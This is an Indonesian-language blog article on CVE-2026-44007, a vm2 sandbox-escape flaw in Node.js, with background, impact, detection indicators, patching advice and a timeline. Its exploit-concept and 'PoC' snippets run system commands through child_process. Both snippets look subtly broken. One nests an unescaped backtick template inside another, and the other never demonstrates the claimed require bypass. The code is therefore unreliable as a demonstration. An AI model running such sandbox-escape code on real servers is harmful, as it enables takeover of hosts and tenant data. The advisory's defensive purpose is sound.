Pengantar

Keamanan aplikasi modern menjadi hal yang sangat penting, terutama untuk aplikasi yang menjalankan kode dari pengguna. Banyak platform saat ini menyediakan fitur menjalankan kode JavaScript secara langsung, seperti online compiler, automation platform, hingga AI agent execution environment.

Salah satu library yang sering digunakan untuk membatasi eksekusi kode tersebut adalah vm2 pada Node.js. Library ini berfungsi sebagai sandbox agar kode yang dijalankan tidak dapat mengakses sistem utama secara bebas.

Namun, ditemukan sebuah kerentanan serius bernama CVE-2026-44007 yang memungkinkan attacker melakukan Remote Code Execution (RCE) dan keluar dari sandbox vm2. Kerentanan ini cukup berbahaya karena dapat memberikan akses penuh terhadap server yang menjalankan aplikasi tersebut.


Apa Itu vm2?

vm2 adalah library sandbox untuk Node.js yang digunakan untuk menjalankan kode JavaScript secara terisolasi.

Tujuan utama vm2 adalah:

  • Membatasi akses kode terhadap sistem operasi
  • Mencegah akses file sembarangan
  • Membatasi penggunaan module tertentu
  • Menjalankan untrusted code dengan aman

Biasanya vm2 digunakan pada:

  • Online code runner
  • Platform automation
  • Plugin system
  • SaaS application
  • AI code execution environment

Contoh penggunaan vm2:

const { NodeVM } = require('vm2');

const vm = new NodeVM({
  console: 'inherit',
  sandbox: {},
  require: false
});

vm.run(`
  console.log("Hello Sandbox");
`);

Pada contoh di atas, kode JavaScript dijalankan di dalam sandbox dan tidak boleh menggunakan require() untuk mengakses module Node.js.


Overview CVE-2026-44007

CVE-2026-44007 adalah kerentanan Remote Code Execution (RCE) pada vm2 sebelum versi 3.11.1.

Kerentanan ini memungkinkan attacker:

  • Keluar dari sandbox
  • Menjalankan command sistem operasi
  • Mengakses server host
  • Mengambil alih aplikasi

Masalah utama terjadi ketika fitur nesting: true digunakan pada konfigurasi vm2.

Contoh konfigurasi rentan:

const vm = new NodeVM({
  nesting: true,
  require: false
});

Walaupun require sudah dimatikan, attacker tetap dapat memanfaatkan nested VM untuk memanggil kembali module internal vm2 dan melakukan bypass keamanan.


Akar Permasalahan

Fitur nesting: true

Fitur nesting memungkinkan sandbox membuat sandbox baru di dalamnya.

Artinya:

  • VM pertama dapat membuat VM kedua
  • VM kedua dapat memiliki konfigurasi berbeda
  • Kontrol keamanan menjadi lebih sulit

Masalah muncul karena nested VM dapat dibuat dengan pengaturan yang lebih longgar dibanding sandbox utama.


Bypass require: false

Secara normal:

require('fs');

akan diblokir jika:

require: false

Namun pada kerentanan ini, attacker dapat:

  1. Membuat nested VM baru
  2. Mengaktifkan kembali fitur require
  3. Mengakses module berbahaya

Broken Access Control

Kerentanan ini termasuk kategori:

  • CWE-284: Improper Access Control

Artinya:

  • Sistem gagal membatasi hak akses dengan benar
  • Sandbox isolation dapat ditembus
  • Boundary keamanan menjadi tidak efektif

Analisis Teknis Kerentanan

Cara Kerja Exploit

Secara sederhana exploit bekerja seperti ini:

  1. Attacker menjalankan kode di sandbox
  2. Sandbox membuat nested VM baru
  3. Nested VM mengaktifkan require
  4. Attacker memanggil child_process
  5. Command sistem dijalankan di server

Contoh Konsep Exploit

Berikut contoh sederhana:

const { NodeVM } = require("vm2");

const vm = new NodeVM({
  nesting: true,
  require: false
});

vm.run(`
  const { NodeVM } = require('vm2');

  const inner = new NodeVM({
    require: {
      external: true
    }
  });

  inner.run(`
    require('child_process')
      .execSync('id')
      .toString()
  `);
`);

Kode tersebut menunjukkan bagaimana nested VM dapat digunakan untuk menjalankan command sistem.


Dampak Keamanan

Kerentanan ini sangat berbahaya karena dapat menyebabkan:

1. Remote Code Execution

Attacker dapat menjalankan command Linux atau Windows secara langsung.

Contoh:

whoami
id
uname -a

2. Pengambilalihan Server

Jika aplikasi berjalan dengan hak akses tinggi, attacker dapat:

  • Mengakses file sensitif
  • Mengambil database
  • Mengubah konfigurasi server
  • Menanam backdoor

3. Risiko pada Cloud dan Container

Pada lingkungan cloud:

  • Container dapat disalahgunakan
  • Data tenant lain bisa terekspos
  • Infrastructure compromise dapat terjadi

Sistem yang Terdampak

Kerentanan ini berdampak pada:

  • vm2 sebelum versi 3.11.1
  • Aplikasi Node.js yang menggunakan nesting: true
  • Platform online compiler
  • AI execution platform
  • SaaS automation system

Proof of Concept (PoC)

Berikut contoh sederhana PoC:

const { NodeVM } = require("vm2");

const vm = new NodeVM({
  nesting: true
});

vm.run(`
  const { execSync } = require('child_process');

  console.log(
    execSync('whoami').toString()
  );
`);

Jika berhasil, sandbox dapat menjalankan command sistem operasi secara langsung.


Detection dan Monitoring

Administrator dapat mendeteksi aktivitas mencurigakan melalui:

Indikator Kompromi

  • Proses child_process yang tidak normal
  • Shell execution mendadak
  • Aktivitas Node.js abnormal
  • Nested VM creation

Monitoring yang Disarankan

Gunakan:

  • EDR
  • SIEM
  • Process monitoring
  • Audit log Node.js

Pantau command seperti:

/bin/sh
bash
powershell
cmd.exe

Mitigasi dan Patch

1. Upgrade vm2

Langkah paling penting adalah upgrade ke:

  • vm2 versi 3.11.1 atau lebih baru

Update menggunakan npm:

npm install vm2@latest

2. Disable Nesting

Jika tidak diperlukan, matikan fitur nesting:

const vm = new NodeVM({
  nesting: false,
  require: false
});

3. Gunakan Isolasi Tambahan

Jangan hanya mengandalkan vm2.

Tambahkan:

  • Docker container
  • AppArmor
  • Seccomp
  • User privilege restriction

4. Least Privilege

Jalankan aplikasi menggunakan user dengan hak akses minimum.

Hindari menjalankan Node.js sebagai:

root
Administrator

Best Practice Secure Sandbox

Beberapa praktik keamanan yang disarankan:

Gunakan Container Terisolasi

Setiap eksekusi kode sebaiknya berjalan di container terpisah.


Batasi Resource

Gunakan:

  • CPU limit
  • Memory limit
  • Timeout execution

Monitoring Runtime

Pantau aktivitas:

  • Process spawning
  • Network access
  • File access

Validasi Input

Jangan langsung menjalankan kode tanpa filtering dan validasi.


Timeline Kerentanan

Tanggal Aktivitas
13 Mei 2026 CVE dipublikasikan
14 Mei 2026 Informasi diperbarui
17 Mei 2026 Advisory SentinelOne dipublikasikan

Kesimpulan

CVE-2026-44007 menunjukkan bahwa sandbox JavaScript tidak selalu aman sepenuhnya. Kesalahan kecil dalam desain isolation dapat membuka jalan bagi attacker untuk keluar dari sandbox dan mengambil alih server.

Kerentanan ini menjadi pelajaran penting bagi developer dan administrator agar:

  • Selalu memperbarui dependency
  • Tidak terlalu bergantung pada satu layer keamanan
  • Menggunakan defense in depth
  • Memisahkan environment eksekusi kode pengguna

Jika aplikasi Anda menggunakan vm2 dengan fitur nesting: true, segera lakukan audit dan update sistem untuk mengurangi risiko eksploitasi.


Referensi

  • sentinelone.com
  • github.com